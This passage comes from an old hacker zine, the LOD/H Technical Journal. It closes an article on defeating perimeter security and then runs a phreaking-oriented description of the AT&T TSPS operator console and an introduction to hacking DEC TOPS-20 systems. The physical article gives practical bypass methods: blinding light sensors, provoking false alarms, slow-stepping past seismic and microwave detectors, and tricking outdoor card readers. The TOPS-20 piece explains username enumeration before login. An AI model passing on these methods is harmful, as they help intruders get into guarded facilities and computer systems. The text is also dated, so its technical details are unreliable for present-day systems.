and obvious. If +the wire is loosely looped, there may be sufficient room in between to get +through without getting stitches and losing lots of blood. If the wire is more +tightly looped you may be able to cover the the wire with some tough material +such as a leather sheet so you can climb over without getting hurt. This method +is not easy to accomplish however. You may want to see if you can get under the +fence or jump over rather than climb it. + + +Fence mounted noise or vibration sensors: +----------------------------------------- + +Let's assume you have found a way to get past the fence. Of course you have not +tried this yet, since you should always plan before you act. OK, you have +planned how you would theoretically get over or past the fence. You are now +past the deterrent and prevention stages. Before you put the plan into action +you had better check for the things mentioned earlier. If a fence is the first +step in security defense, then fence mounted sensors are the second step. +The types of detection equipment that can be mounted on the fence are: + +Fence shock sensors: These mount on fence posts at intervals of 10 to 20 feet, +or on every post. They are small boxes clamped about 2/3 up from ground level. +There is a cable, either twisted pair or coax running horizontally across the +fence connecting these boxes. The cable can be concealed in conduits or inside +the fence itself, thus, making it hard to visually detect. Each fence sensor +consists of a seismic shock sensor that detects climbing over, lifting up or +cutting through the fence. So if the fence is climbable, it would not be wise +to do so since you may be detected. Of course it doesn't matter if your +detected if there is no security force to respond and deter you. + +Another type, is called the E-Flex cable. It's simply a coax cable running +horizontally across the fence. This cable can not only be used on chain link +fences, but can also be used on concrete block, brick, or other solid barriers. +It may be on the outside, or mounted inside the fence, thus, making detection +of the device harder. Of course detection of this and other similar devices +which cannot be seen, doesn't make it impossible. A way to detect this, is by +simply repeatedly hitting the wall with a blunt object or by throwing rocks at +it. If nothing out of the ordinary happens, then you can be reasonably sure it +is not in place. This is basically a vibration sensor. + +Low frequency microphones: This is essentially a coax cable that responds to +noise transmitted within the fence itself. + +Vibration sensors: These are based on mercury switches, a ring or ball on a +pin, or a ball on a rail. Movement of the fence disturbs the switches and +signals alarms. A hint that this is in use is that it can only be used on a +securely constructed and tightly mounted fence, with no play or movement in it. +Otherwise, they will be getting false alarms like crazy. + +OK, you know all about these types, how the hell do you get around it? Well, +don't touch the fence. But if there is no alternative, and you must climb it, +then climb the fence where it makes a 90 degree turn (the corner) or at the +gate. Climb it very slowly and carefully, and you should be able to get over +without being detected by these sensors! Make sure you climb on the largest +pipe and don't fall. + +Security lighting and CCTV: +--------------------------- + +Sometimes, fences may be backed up by Closed Circuit TV (CCTV) systems to make +visual monitoring of the perimeter easier and quicker. By installing an +adequate lighting system and conventional CCTV cameras, or by using special +low light sensitive cameras, the perimeter can be monitored from a central +point. Security personnel can then be dispatched when an intruder is detected +on the monitors. + +Some systems are stationary, and others can be moved to view different areas of +the perimeter from within the central station. It would be in your best +interest to determine if the camera is stationary or not. If so, you may be +able to plan a path which will be out of the view range of the camera. If it is +movable, you will have to take your chances. + +Light control sensor: This utilizes a Passive InfraRed (PIR) sensor to detect +the body heat emitted from someone entering the detection area, and can +activate a light or other alarm. PIR's will be discussed in Part II of this +series. The sensor has an option called: 'night only mode' in which a light +will flash when a person enters the area, but only during night hours. It can +tell if its dark by either a photoelectric sensor, or by a clock. Of course if +its daylight savings time, the clock may not be totally accurate, which can be +used to your advantage. If it is photoelectric, you can simply place a +flashlight pointing directly into the sensor during daylight hours. When it +gets dark, the photoelectric sensor will still 'think' its day since there is +sufficient light, thus, not activating the unit to detect alarm conditions. +This should enable you to move within the area at will. + +Buried Seismic Sensors: +----------------------- + +Seismic detectors are designed to identify an intruder by picking up the sound +of your footsteps or other noises related to passing through the protected +area. These sensors have a range of about 20 feet and are buried underground +and linked by a cable, which carries their signals to a processor. There, the +signals are amplified and equalized to eliminate frequencies that are unrelated +to intruder motion. The signals are converted to pulses that are compared with +a standard signal threshold. Each pulse that crosses this threshold is tested +on count and frequency. If it meets all the criteria for a footstep, an alarm +is triggered. These sensors can even be installed under asphalt or concrete by +cutting a trench through the hard surface. It is also immune to weather and can +follow any type of terrain. The only restriction is that the area of detection +must be free of any type of obstruction such as a tree or a bush. + +Electronic field sensor: +------------------------ + +These detect an intruder by measuring a change in an electric field. The field +sensors use a set of two cables, one with holes cut into the cable shielding to +allow the electromagnetic field to 'leak' into the surrounding area. The other +cable is a receiver to detect the field and any changes in it. Objects passing +through the field distort it, triggering an alarm. This sensor can either be +buried or free standing, and can follow any type of terrain. But its very +sensitive to animals, birds, or wind blown debris, thus, if it is very windy +out, and you know this is being used, you can get some paper and throw it so +the wind takes it and sets off the alarm repeatedly. If it is done enough, they +may temporarily turn it off, or ignore it due to excessive false alarms. + +It is not hard to tell if these devices are in use. You cannot see them, but +you don't have to. Simply get 3-4 medium sized stones. Throw them into the +place where you think the protected area is. Repeat this several times. This +works on the lesser advanced systems that have trouble distinguishing this type +of seismic activity from human walking/running. If nothing happens, you can be +reasonably sure this is not in use. Now that you can detect it, how do you +defeat it? Well as far as the electronic field sensor is concerned, you should +wait for a windy night and cause excessive false alarms and hope they will turn +it off. As far as the seismic sensors, you can take it one step at a time, very +softly, maybe one step every 30-60 seconds. These sensors have a threshold, +say, two or more consecutive footsteps in a 30 second time interval will +trigger the alarm. Simply take in one step at a time, slowly, and wait, then +take another step, wait, until you reach your destination. These detectors work +on the assumption that the intruder has no knowledge of the device, and will +walk/run across the protected area normally, thus, causing considerable seismic +vibrations. The problem with this method is that it will take you some time to +pass through the protected area. This means there is more of a chance that you +will be seen. If there are a lot of people going in and out of the facility, +you may not want to use this method. Another way would be to run across the +protected area, right next to the door, (assuming that is where the response +team will come out) and drop a large cat or a dog there. When they come out, +they will hopefully blame the alarm on the animal. The sensor shouldn't really +pick up a smaller animal, but odds are the security force are contract guards +who wouldn't know the capabilities of the device and the blame would fall on +the animal and not you, assuming there were no cameras watching... + + +Microwave systems: +------------------ + +In an outdoor microwave system, a beam of microwave energy is sent from a +transmitter to a receiver in a conical pattern. Unlike indoor microwave +detectors, which detect an intruders' movement in the microwave field, the +outdoor system reacts to an intruders' presence by detecting the decrease in +energy in the beam. The beams can protect an area up to 1500 feet long and 40 +feet wide. All transmission is line-of-sight and the area between transmitter +and receiver should be kept clear of trees and other objects that can block the +beam. Microwave systems can operate in bad weather, and won't signal an alarm +due to birds or flying debris. + +These systems work on the Doppler effect, in which they detect motion that +changes the energy, and sets off an alarm. These devices will usually be placed +inside a fence to avoid false alarms. These devices are very easy to visually +detect. They are posts from 1-2 yards high, about 6 inches by 6 inches and +there are 2 of them, one receiver and one transmitter. In some cases there will +be more, which enables them to protect a larger area. + +To defeat this, you can enter the field, very slowly, taking one step at a time +but each step should be like you are in slow motion. It doesn't matter how hard +you hit the ground, since it doesn't detect seismic activity, only how fast +you approach the field. If you take it very slowly you may be able to get past. +Detectors of this type get more and more sensitive as you approach the posts. +Ergo, choose a path which will lead you furthest away from the posts. + + +Photoelectric systems: +---------------------- + +These systems rely on an invisible barrier created by beams of infrared light +sent from a light source to a receiver. When the beam is interrupted, the alarm +sounds. The beam can have an effective range of up to 500 feet. Multiple beams +can be used to increase the effectiveness of the system, making it harder for +you to climb over or crawl under the beams. Photoelectric systems can be prone +to false alarms as a result of birds or wind-blown debris passing through the +beam. The problem can be corrected by the installation of a circuit that +requires the beam to be broken for a specified amount of time before an alarm +is sounded. Weather conditions like heavy fog, can also interrupt the beam and +cause an alarm. This can also be corrected by a circuit that reacts to gradual +signal loss. These systems should not face directly into the rising or setting +sun since this also cuts off the signal beam. + +As you can see this system has many problems which you can take advantage of to +bypass this system. As with any system and method, surveillance of the facility +should be accomplished in various weather conditions to help verify the +existence of a particular detection device, and to see how they react to false +alarms. Many times, you will be able to take advantage of various conditions +to accomplish your mission. If there is only one set of devices (transmitter +and receiver), try to estimate the distance of the sensors from the ground. You +can then either crawl under or jump over the beam. This also works on the +assumption that the intruder will not recognize that the device is in use. + + +MISCELLANEOUS: +-------------- + +Guards: There are two types, in-house or company paid guards and contract +guards. Contract guards are less secure since they do not work for the facility +and if they make a mistake they simply get transferred to another facility no +big deal. In-house guards know the facility better and have more to lose, thus, +they are probably more security conscious. Be aware of any paths around the +perimeter in which guards can/will walk/ride to visually inspect the exterior +of the facility. + +Central monitoring: Monitoring of the devices mentioned in this article is +usually accomplished at a 'Central Station' within the facility. Usually, +guards *SHOULD* be monitoring these. If you have planned well enough, you may +find that the guard leaves his/her post to do various things at the same time +every night. This would be an ideal time to do anything that may be seen by +cameras. Unfortunately, there will probably be more than one guard making this +nearly impossible. + +Gates: Probably the easiest way to pass through the perimeter is to go through +the gate. Whether in a car, or by walking. This may not be too easy if it is +guarded, or if there is a card reading device used for entry. + +Exterior card readers: An in-depth look at the types of cards used will be in +part 3 of this series. But for now, if the card used is magnetic (not Weigand) +it is quite possible to attack this. If you have an ATM card, Visa, or other +magnetic card, slide the card thru, jiggle & wiggle it, etc. and quite possibly +the gate will open. Reasons for this are that since it is outside, the reader +is subjected to extreme weather conditions day in and day out, thus, the +detecting heads may not be in the best of shape, or since it is outside it may +be a cheap reader. In either case, it may not work as good as it should and +can make 'mistakes' to allow you access. + +Combinations: The devices listed in this article do not have to be used alone. +They can and are used in conjunction with each other for greater security. + +Diversions: In some cases, a diversion could better insure your passage through +the perimeter. Keep this in mind. + +Extreme weather conditions: All devices have an effective operating range of +temperatures. On the low end of the scale, most devices will not operate if it +is -30 degrees Fahrenheit or lower. Though, quite a few will not operate +effectively under the following temperatures: -13 f, -4 f, +10 f, +32 f. On +the other side of the scale, they will not operate in excess of: +120 f, +130 f +and +150 f. It is unlikely that the outside temperature will be above 120 +degrees, but in many places, it may be below freezing. Take this into +consideration if a facility has these devices, and you cannot bypass them any +other way. + +I could not have possibly mentioned everything used in perimeter protection in +this article. I have tried to inform you of the more common devices used. Some +things were intentionally left out, some were not. I welcome any corrections, +suggestions, and methods, for this article and the future articles planned. I +can be contacted on a few boards or through the LOD/H TJ Staff Account. + + +CONCLUSION: +----------- + +This article primarily dealt with the identification of various 'tools' used in +physical security for the deterrence, prevention, detection, and response to an +intruder. There also were some methods which have been used to attack, defeat, +and bypass these 'tools'. None of the methods mentioned in this article work +100% of the time in all circumstances, but ALL have worked, some were under +controlled circumstances, some were not. But all have worked. Some methods are +somewhat crude, but they get the job done. Some methods were intentionally left +out for obvious reasons. Even though this article was written in a tutorial +fashion, in no way am I advising you to go out and break the law. I am merely +showing you how to identify devices that you may not have known were in place +to keep you from making a stupid mistake and getting caught. The Establishment +doesn't always play fair, so why should we? + + +ACKNOWLEDGEMENTS: +----------------- + +Gary Seven (LOH) + + +The LOD/H Technical Journal: File #4 of 12 + + + Understanding the Traffic Services Position System (TSPS) + + Part I - The Console + + By The Marauder + & + The Legion of Doom! + + + / Revision 1.0-02 X + +Written Sometime in 1986... + + +* Special thanks to Bill from RNOC, Phucked Agent 04, and The (602) Scorpion + for their help in acquiring & compiling this information. + + In this article I will discuss the basic layout description, and use of +the keys, found on the standard AT&T 100-B TSPS Console.

In the lower right hand corner you will +notice the numbers 0-9 laid out into what resembles a keypad, this is exactly +what it appears to be. The TSPS Operator uses this keypad for keying in not +only routing information (Phone numbers, Inward routings, etc..) but as a multi +purpose tool for entering various numeric codes recognized by the TSPS software +itself. Routing information applied onto the trunks from the TSPS position is +of course in MF (Multi-Frequency). When a TSO keys in a number or routing, the +console buffers the KP+INFORMATION DIGITS until the ST key is pressed, at which +time it plays the buffered KP+INFO DIGITS+ST onto the trunk in a uniformly +spaced sequence. So if you were somehow able to listen in on a TSO actually +routing a call, it would not sound like someone placing a call on a standard +Touch-Tone telephone (or homemade blue box), but more like someone pressing a +"Redial key" on a Touch-Tone (TT) phone. The duration of the tone and space +between the tones are a network-wide standard, although the network in most +cases is quite tolerant to deviations of this standard. (This "loose" tolerance +is what allows us to simulate In-band signalling with our blue boxes). + +-- At the upper left hand side of the diagram you will see the Ticket box, +This box has 4 slots marked New, Cancel, Scratch and Completed. I believe this +is used for manually filled out trouble and/or time tickets. As far as I know +manually filled time tickets are a thing of the past, however in case of +equipment failure the tickets are available I assume. TSO would manually fill +out a trouble ticket to report trouble reaching a number out of her LAN (Local +Area Network - or, The area directly served by her particular TSPS position), +whereas to report trouble with a number in her LAN she would simply key in a +trouble code (utilizing the KP-TRBL (Trouble) key). to automatically place a +trouble report. + +-- To the right of the Ticket box you will see the DISPLAY. The display works +in conjunction with certain keys on the console, and is used to display timing +information (hours, mins, sec's), Cost per minute, Calling number +identification (what most people refer to as TSPS ANI), numbers called, and +various special codes. The console display can be in one of two states, either +1) displaying digits, or 2) displaying nothing (dark). Both of which have +different meanings when resulting from certain procedures attempted by a TSO. +LIGHTED KEYS, and LAMPS on the console can be in one of three states either 1) +NOT ILLUMINATED (dark), 2) ILLUMINATED, or 3) FLASHING. Again the state of a +lamp/lamp-key meaning different things under different conditions. + + +II. KEY DESCRIPTIONS & USES + ======================= + +-- Below the Ticket box you will see a row of 5 keys starting with the key +labeled "VFY" (Verify), these are various special purpose keys used by TSPS +that have no real "grouping" unlike the other "Key groups". These are: + +(VFY) - Verify, Illuminated key. Used in conjunction with the keypad, allows +the TSO to verify (listen in) on a telephone call that is in progress, although +any conversation taking place on that call is scrambled to the TSO, and despite +popular belief THE SCRAMBLING PROCESS IS DONE AT THE CONSOLE LEVEL, AND NOT ON +THE TRUNK LEVEL, SO FOR THOSE OF YOU WHO SEEN REFERENCE TO THE "BLV SCRAMBLING +SHUT OFF TONE" PLEASE IGNORE IT, IF YOU WERE TO SOMEHOW GAIN ACCESS TO A +VERIFICATION TRUNK FROM A NON-TSPS POSITION, THE CONVERSATION WOULD NOT BE +SCRAMBLED. + + +(OVR SES) - Over Seas, Illuminated key. Used in overseas call completion +through an Overseas Toll Completion Center/Server (IOCC). I believe it also +allows the TSO to key in more than 10 digits (standard POTS) for IDDD call +completion. + +(SCN) - Screen, Illuminated key - Lights to notify TSO that incoming call has +an associated screening code, (ie: 74=collect calls only, 93=special billing). +Depressing this key causes the code to show on display, and it's up to the TSO +to decipher the code and explain its meaning to the customer if he/she is +attempting something forbidden by his associated screening code. (ie: Prison +phones have a screening code of 74, allowing them to place collect calls only.) + +(INW) - Inward, Illuminated key - Lights to notify the TSO that the incoming +call is "Operator to Operator", therefore she answers by pressing the key and +answering "Inward!". In most cases Inward Operators are actually TSPS, with +their INWARD lamps lit. + +(EMR INT) - Emergency Interrupt, Illuminated key. Used in conjunction with +the VFY key, to interrupt a call in progress while a line Verification is being +done, pressing this key causes an audible "beep" to be applied to the line, and +de-activates the console scrambling (for roughly 30 seconds) , allowing the TSO +to talk to the parties being verified/interrupted. Use of this key & the VFY +key, is constantly kept track of via various security & maintenance TTY's and +any abuse/misuse will set off alarms. + +-- To the right of the above set of keys you will see three groups of +LAMPS/Keys labled "Non-coin", "Coin 1", and "Hotel". The TSO utilizes the +condition of these lamps to identify the status of incoming calls. There are +three lamps that are common to each of the three groups, these are: "Sta", +"0+", and "0-" their meaning is identical in each case as you will see below. + +(Sta) - Lamp, NON-COIN STA lamp lights when a non-coin caller requires TSPS +assistance in placing an otherwise direct-dialable call (in some rural areas +that have limited DDD features). COIN STA lamp lights on direct dialed coin +calls that are sent to TSPS for payment collection. HOTEL STA lights on Hotel +originated DDD calls, TSPS also receives room number call is being originated +from. + +(0+) - Lamp, Lights to signify that the incoming call was originated by a +customer dialing a "0+telephone number" for an operator assisted call in each +of the three groups (coin, non-coin, hotel/motel). (ie. if a customer were to +place a "person to person (op assisted) call from a payphone, this would cause +the "0+" lamp in the "coin" group to light, one placed from a residential phone +would cause the "0+" lamp in the "non-coin" group to light, etc..) + +(0-) - aka "Dial Zero", Lamp. Lights to signify that the incoming call was +originated by a customer simply dialing 0 (zero), in each of the three +categories (non-coin, coin, hotel/motel). + +(PST PAY) - Post Pay, Illuminated key. Coin group only, Depressed by TSPS when +a customer requests a "post pay" call from a payphone, allowing him to deposit +the full charge at the completion of the call. + +(Tne) - Tone, Lamp. I believe this lamp lights to inform the TSO that a coin +customer has flashed his/her switchook during a call in progress, requesting +operator assistance, although I'm not positive of this. + +(GST) - Guest, Illuminated key lights on all hotel originated calls. + +-- Below the above rows of keys and to the far left you will see a row of +keys labled "Outgoing Trunks". TSPS utilizes this group of keys to select +various outgoing trunk groups the keys are used as follows: + +(DA) - Directory Assistance, Illuminated key. Used by TSO to place calls to the +directory assistance group. + +(R&R) - Rate & Route, Illuminated key. Used to place calls to rate and route, I +believe TSPS now goes to the Universal Rate and Route position known to all you +boxers to be found at KP+800+141+1212+ST. + +(SWB) - Switchboard, Illuminated key. I believe this key is used to reach a +cord-board position, although I have no evidence of this. + +(OGT) - Outgoing Trunk, Illuminated key. Depressed by TSO to select an outgoing +trunk to be used to place operator assisted calls, special purpose calls (ie. +Inward), etc.. + +-- To the right of this row of keys you will find the group labled "Ring", +these keys are utilized by TSPS to activate special purpose ring features and +line handling. + +(BAK) - Ring Back, Illuminated key. Used by TSO to ring the originating party's +line while holding the forward line in the event that the originating party +looses his connection + +(FWD) - Ring Forward, Illuminated Key. Exactly the opposite of ring back. + +(CAL BAK) - Call Back, Illuminated key. Used in special operator call back +situations on person to person calls where the called party is not available +but a message is left anyway, I really don't understand it's full potential and +most positions I have spoken with don't either. + +(T&C) - Time and Charges, Illuminated key. + +(Nfy) - Lamp. Used in Non-ACTS (Automatic Coin Toll Service) originated calls, +lights to inform TSPS to notify caller of expiration if initial n minute period +(n = number of minutes entered via the KP NFY key at the origination of the +call). + +(Chg Due) - Lamp. Lights to inform TSO that more money is needed at the +completion of a TSO assisted coin call, the usual procedure is to ring the coin +station back and attempt to frighten the customer into making the proper +deposit ("If you don't pay we'll bill the called party..."). + +(Key Clg) - Key Calling, Lamp. This lamp is used by TSPS to determine the +status of an incoming "Operator Number Identification" (ONI) marked caller or +an incoming caller that was routed to TSPS due to an "ANI Failure" (ANIF) Both +call conditions come to as a "0+" call (hotel, non-coin, coin - see above), if +the calling party is marked as "ONI Required" the appropriate "0+" lamp will +light, and the "Key Calling" lamp will be LIT STEADY. If the incoming call was +due to an ANIF, the "0+" lamp will be lit, and the "Key Calling" lamp will be +LIT & FLASHING. + +-- Directly to the right of the "Ring" group of key's you will find the +RELEASE set of key's, these two Illuminated key's allow the TSO to selectively +release (disconnect from) either the calling, or called parties by pressing +either the "Release Back" (BAK), or "Release Forward" (FWD) key respectively. + +-- To the right of the release set, you will see a group of four key's with +no particular "group designation", these again are various multi-purpose key's +that serve the following: + +(SR) - Service (assistance) Required, Illuminated Key. Pressed by TSO to +Forward calling party to a supervisory console (ie. Irate Customers demanding +supervisor), can also be used if she is confused and needs assistance. + +(MB) - Make Busy, Illuminated key. Used to "Busy out" her console, lights when +pressed, console will not take any incoming calls until it is pressed again. +(ie: Useful when gabbing, doing nails, or filling out time/trouble tickets). + +(Mt) - Maintenance, Lamp. This lamp Illuminates to warn the TSO that her +console has been placed into remote maintenance/testing mode. A flashing MTNC +lamp indicates a faulty console. + +(PT) - Position Transfer, Illuminated Key. A TSO depresses this key to transfer +the call in progress from her console (position) to another console. + +-- Below the "Outgoing Trunk" keygroup, you will see a Lamp marked "Cw" Call +Waiting - This lamp lights on every active console to inform a TSO that there +are incoming calls waiting. + +-- To the far right of the "Cw" lamp, you will find the AMA group of keys, +broken into two sub-groups, which are "Station" and "Person", a complete +description of each key in this group would require more room than I have +available here, so if there's sufficient interest I will devote another article +to the use of these key's. Basically these key's are used in conjunction with +the "KP" and "AMA Timing" groups of key's (see below), for attaching the +appropriate class of charge to the call being originated. The keys in the +"Station" sub-class from left to right are "Paid" (PA), which is used to attach +a "Station to Station" originating caller paid class of charge, "Collect" (COL) +to attach "Station to Station" Collect Call. "Special Calling" (SP CG), and +"Special Called" (SC CD) which are both used in "Special" Station to Station +billing procedures, such as third party, or credit card calls. "Auto Collect" +(AT CT), used in coin billing procedures and "Direct Distance Dialing" (DDD), +Attaches a DDD class of charge in cases where you have trouble dialing a number +and require operator assistance in completing a call. Below this row of keys +you will find the "Person" sub-group of AMA keys, their uses are identical to +those in the "Station to Station" group only they attach a "Person to Person" +rate of charge. The "No AMA" (NO AMA), key is pressed to eliminate a charge for +a person to person call where the called party is unavailable. Although all +the key's in this group can take on different meanings under different +conditions, the above definitions are suitable for the sake of this article. +All key's in this group are Illuminated keys. + +-- Below the "Cw" lamp you will find two keys under the heading "Coin 2", +their uses on "Coin originated (payphone)" calls are: "Coin Collect" (COL) - +which causes the payphone to collect coin, and the "Coin Return" (RET), causes +it to return a coin. Both are Illuminated Key's. + +-- To the right of the "Coin 2" group, you will find the "AMA Timing" group. +These key's are used in conjunction with the "AMA", and "KP" groups for: + +(CA TMG) - Cancel Timing, Illuminated Key. Cancels AMA timing charges and also +allows TSO to change the class of charge on a call. + +(ST TMG) - Start Timing, Illuminated Key. Used to start AMA timing after +appropriate class of charge has been entered, and the calling party has reached +the called party in person to person calls (or in station to station DDD calls, +destination ring has been established). + +(CA CAL) - Cancel Call, Illuminated Key. Used in conjunction with the Cancel +Timing key to Cancel a call and mark a "NON-COMPLETED" call on the AMA tapes +(ie. A person to person call where the called party is not available). + +(REC MSG) - Record (AMA) Message, Illuminated Key. Used at the completion of +(completion meaning calling & called party are done talking), to record the +time of the call and the appropriate class of charge onto the AMA tapes and +releases their forward connection. -- To the right of the AMA timing group +you will see three columns of four buttons under the heading of Loop Control. +These allow the TSO to access any of the three loops available to her for +placing calls. The keys have identical meaning in each set they are used in the +following manner: + + +(CLG) - Calling Party, Lamp. Lights to signify person on said loop is a calling +party. + +(CLD) - Called Party, Lamp. Lights to signify that person on loop is a called +party. + +(HLD) - Hold, Illuminated key. Places a loop into a hold state, the calling and +called party can talk to each other, and AMA timing can be started. The call is +held at the console. + +(ACS) - Access, Illuminated key. Used by TSO to initially access a loop. +Pressing this key selects an outgoing loop, and readies the console for placing +a call onto it. It is also used to allow TSO back into a loop(s) in a HOLD +state. + +-- To the right of the loop control group you will see the "Keypulse Key" +group, these key's are pressed by the TSO to initialize the keypad parser into +the proper mode for entering information, which is completed/entered by +pressing the ST (START) key (to right of keypad). Their uses are as follows: + +(KP TB) - KP Trouble, Illuminated key. Used to enter various TSO encountered +trouble codes such as noisy line, customer(s) were cut off, couldn't complete +call, etc. I believe the format for entering a trouble code is as follows: "KP +TBL + TC + NTE + CN + ST" where KP TBL = KP Trouble Key, TC = 2 Digit Trouble +code, NTE = Number of times Trouble was encountered (1 Digit), CN = Callers +(phone) Number, and ST = the START key. a record of the trouble is made on the +AMA tapes and the calling party is usually given credit. + +(KP RT) - KP Rate, Illuminated. Used to enter and display Rate (Charge) +information. Can also be used to display rate information at a customer +request. + +(KP HO) - KP Hotel, Illuminated Key. Used for manually entering a verbally +requested room number on Hotel/Motel originated calls. + +(KP NY) - KP Notify, Illuminated key. Used for entering time in Minutes on a +NON-ACTS originated Coin call, when entered time duration is up, it causes the +NFY Lamp (See above) to Flash. + +(KP SP) - KP Special, Illuminated Key. Used for entering Special numbers such +as credit card id's and third party billing numbers, causes TSPS software to +automatically query the BVA (Billing Validation) database to check validity of +number/CC, will flash if billing to an illegal card or number is attempted. + +(KP BK) - KP Back, Illuminated Key. Used in entering the calling number in ANI +failures (ANIF), and ONI (Operator Number Identification) required situations. + +(KP FD) - KP Forward, Illuminated. Most commonly used KP Key. Used to enter +called party's number on all TSO assisted calls. Pressing the ST (START) key +causes the entered number to be applied onto the accessed trunks in MF. + +(ST) - Start, Illuminated Key (Found to the right of the keypad). Used in +completing all KP+number sequences listed above. + +-- Below the "Coin 2" set of key's you will see the (POS RLS) - Position +Release key, this key is used by the TSO to release her position from the call. +She would hit POS RLS after completing a call, and also to release a person +calling to ask her questions and not actually requesting a call be placed (ie. +Name/place requests, etc..) + +-- Below the Position Release key you will see a set of 5 key's labeled +"Display Control", these key's are used to make the console display show +various information. Their use is as follows: + + +(TIM) - Time, Unlighted Key. Displays time of day in Military format. + +(CHG MIN) - Charge per Minute, Unlighted Key. Displays the $ charge per minute +on a call in progress. + +(CLG NUM) - Calling Number, Illuminated Key. Displays the number of the calling +party. + +(CLD NUM) - Called number, Illuminated Key. Displays the number of the called +party. + +(SPL NUM) - Special Number, Illuminated Key. Display's various special numbers +such as Calling Card numbers, and third party billed numbers. Use of this key +in displaying Calling Card numbers is as follows: Press it once you get first +10 digits of 16 digit Calling Card, press it a second time and get the second 6 +digits of the Calling Card, press it again and it darkens the display. + +-- That's it for the key's on the console, on the left hand side of the diagram +you will see the "Multi Leaf Bulletin Tray", this is an all purpose holder for +information leaflets that contain information on special numbers, Rate & Route +information, special non-standard assistance routes, and various other TSPS +related information. At the lower right hand side of the console is the "Number +Plate", this is simply the console's Position number and ID number. It is a +stamped metal plate, I haven't figured out any way to abuse it yet, other than +scaring a TSO by knowing of it's existence. + +** That's about it for this article, if there is sufficient interest in TSPS I +will write further articles with more detail on the actual procedures used by +the TSPS operator in call handling and such, I will also be writing an article +on the BOC TOPS (Toll Operator Position Service) operators that have begun to +pop up since the divestiture when I get some better information on the position +itself. It seems that AT&T inwards no longer handle only long distance +assistance in TOPS services areas and the TOPS op's handle all local area +assistance. + +Until then, Dial with Care. + + + The + Marauder + Legion of Doom! + +------------------------------------------------------------------------------ + +Any questions, comments or clarifications can be made directly to me, or via +the TJ's Staff account. + + +The LOD/H Technical Journal: File #5 of 12 + + + An Introduction to Hacking TOPS-20s + by + The Blue Archer + + To begin with, I would like introduce this article and clarify a few things. +Firstly, this article was written to familiarize interested hackers in DEC's +TOPS-20 (Total OPerating System-20) and give them knowledge of how to +properly utilize its resources. This article will generally be limited to the +basics, with an advanced article forthcoming. Secondly, you may have seen +other articles I have written on the Tops-20 a while back. Well this is simply +a better organized and updated article with primarily the same information. +And finally, I would like to say that I welcome any and all questions about +the article or the operating system and would be glad to help out with any +problems. I may be reached on certain boards or through the LOD/H TJ Staff +Account on sponsor BBS's. Anyway, have a good time hacking your local TOPS! + +Starting Notes +-------------- +o Capital letters in the beginning of a command indicate that those letters + alone may be typed for the whole command. +o <>: Brackets around any element(s) are required. +o (): Parenthesis are not required unless otherwise stated. +o D: This symbol refers to control (ex: DA= Control-A). +o @: Is the general system prompt and is not considered to be typed by the + user when shown in examples. +o $: This is the enabled state system prompt (explained hereafter). + + ---------------- + /EXTERNAL USAGE/ + ---------------- + + SECTION I: ACCESS + + The commands for entering and leaving a Tops-20 are LOGin and LOGOut +respectively. The correct usage of these command are as follows: + @LOGin USERNAME + @LOGOut USERNAME +Where username is a variable for the account name. Account names may be +virtually anything, depending upon the system. I employ two methods for +attaining usernames. The first, and most commonly known and used is checking +the system status. This is done thusly: + @SYstat +This will cause the computer to list out various information about the +assorted users logged in and their status and the status of the system as a +whole. This command does not work on all Tops-20 computers from a non-logged in +state, namely versions 6.1 and higher. A second and immensely more effective +method is superior use of the escape character. The complete use of this +character will be discussed later. For use in logging, one types LOGin and +then a letter or series of letters and then the escape key. Depending on the +number of usernames beginning with the same letter(s), the computer will fill +in the rest of the username. Once the letters are in such a way that if one +continued typing, only one valid username could be gotten, the escape key +will fill in the rest if pressed. Here is an example: +@LOGin S(escape) +(the computer responds with a beep because there is more than one username +starting with the letter S, so I type another letter) +@LOGin SM(escape) +(beep once more) +@LOGin SMI(escape) +@LOGin SMIth (PASSWORD) + ^^ +(The computer fills in the 'th' part of the username for me and asks for the +password with the parenthesis and all). +One note: If the computer fills in an account name and then when a password is +tried it responds with a 'not valid account' message, it simply means that it +is a non-loginable files-only account which will be discussed later. + While trying to gain access to a system, it is wise to use all the pre-login +resources avaiable. On versions 6.x these resources are virtualy nil but on the +older versions, one may sometimes find an incredible amount of help. To +see what actual help is available, type: + @HELP ? +Look for certain things like SECURITY and LOGINHELP. If the system in use is +on a net, or for some reason the dialup number is not known but wanted, it can +sometimes be found in help files most commonly named DIAL, DIALUP(S), and +PHONES. So, to view them, simply type: + @HELP DIALUPS +Or the name of whatever help file that is desired to be seen. + The Information command is also a useful command, more fully discussed +later. The most useful Information commands are as follows: +@Information VERSion + This will display the banner. If the computer, for security reasons, did + not display the banner upon connection, then this may prove useful in + identifying the target computer +@Information DEC + lists the various Decnet nodes available. On 6.x versions +@I DEC NODENAME + will tell if a path is open to the node or is the object node is currently + up and running. +@I ARPA + will tell the status of ARPANET with respect to this particular computer. +Meaning whether or not the software is up and running and the status of +connections. + Networking will be explained in the advanced Tops hacking file. + + ---------------- + /INTERNAL USAGE/ + ---------------- + + SECTION II: SYSTEM FUNCTIONS + + Under normal circumstances, with the exception of currently running programs, +the exec level (command level) prompt will be either @' or $' depending on +certain options, which will be discussed later. For now we will assume the +prompt is @. This is the place where commands given are executed immediately. +Certain characters are also available for use here (and other places) which +make life on a TOPS-20 easier. Here is a list of those characters: + +1) DC: This gets the system's attention. It will break out of most programs and +processes. It may be necessary to type 2 for it to work, though. +3) DO: Halts terminal output without interrupting the program. A second DO +restarts output to terminal. Note: under this condition output is still being +sent by the computer, it is just not printed on the terminal, as opposed to +an actual ceasing of output by DS. +4) DS: Temporarily pauses current output. +5) DQ: Resumes output currently suspended by DS. +6) DR: Retypes current line discarding old line. +7) DT: Prints information including what the program in use is doing, CPU +information, and load average (amount of users on system.) +8) (Escape): The Escape key causes a form of recognition for virtually anything +being done on the TOPS. It will complete commands, filenames, and just about +anything else being typed to the computer. For example I(escape) would result +in the command INFORMATION. For further information on this command refer to +the logging in procedure utilizing this feature. +9) ?: This is used to obtain information regarding what the system is expecting +as input or what the current command options are. It may be used almost +anywhere, including after single or multiple letters, filenames, etc. +example: @C? +would print a list of available exec level commands starting with the letter C. + + Here is a list of commands used to obtain system information: + +1) DAYtime: Prints current data and time of day. +2) HELP: Gives help on a wide variety of topics, depending on the system. +For a complete list, type: HELP ? +3) Information: Provides information on a wide variety of topics. For a +complete list, type: I ? +4) SYstat: Outputs a summary of system users and available computer resources. + + SECTION III: ACCOUNT STRUCTURE + + The TOPS-20 users login and use the system via accounts which are variable +with different privilege levels and access rights. Accounts are specified by +usernames and most of the time the directory names are the same as the account +names as is also common for VMS. So, logging in under the SMITH means that one +is under the account (username) 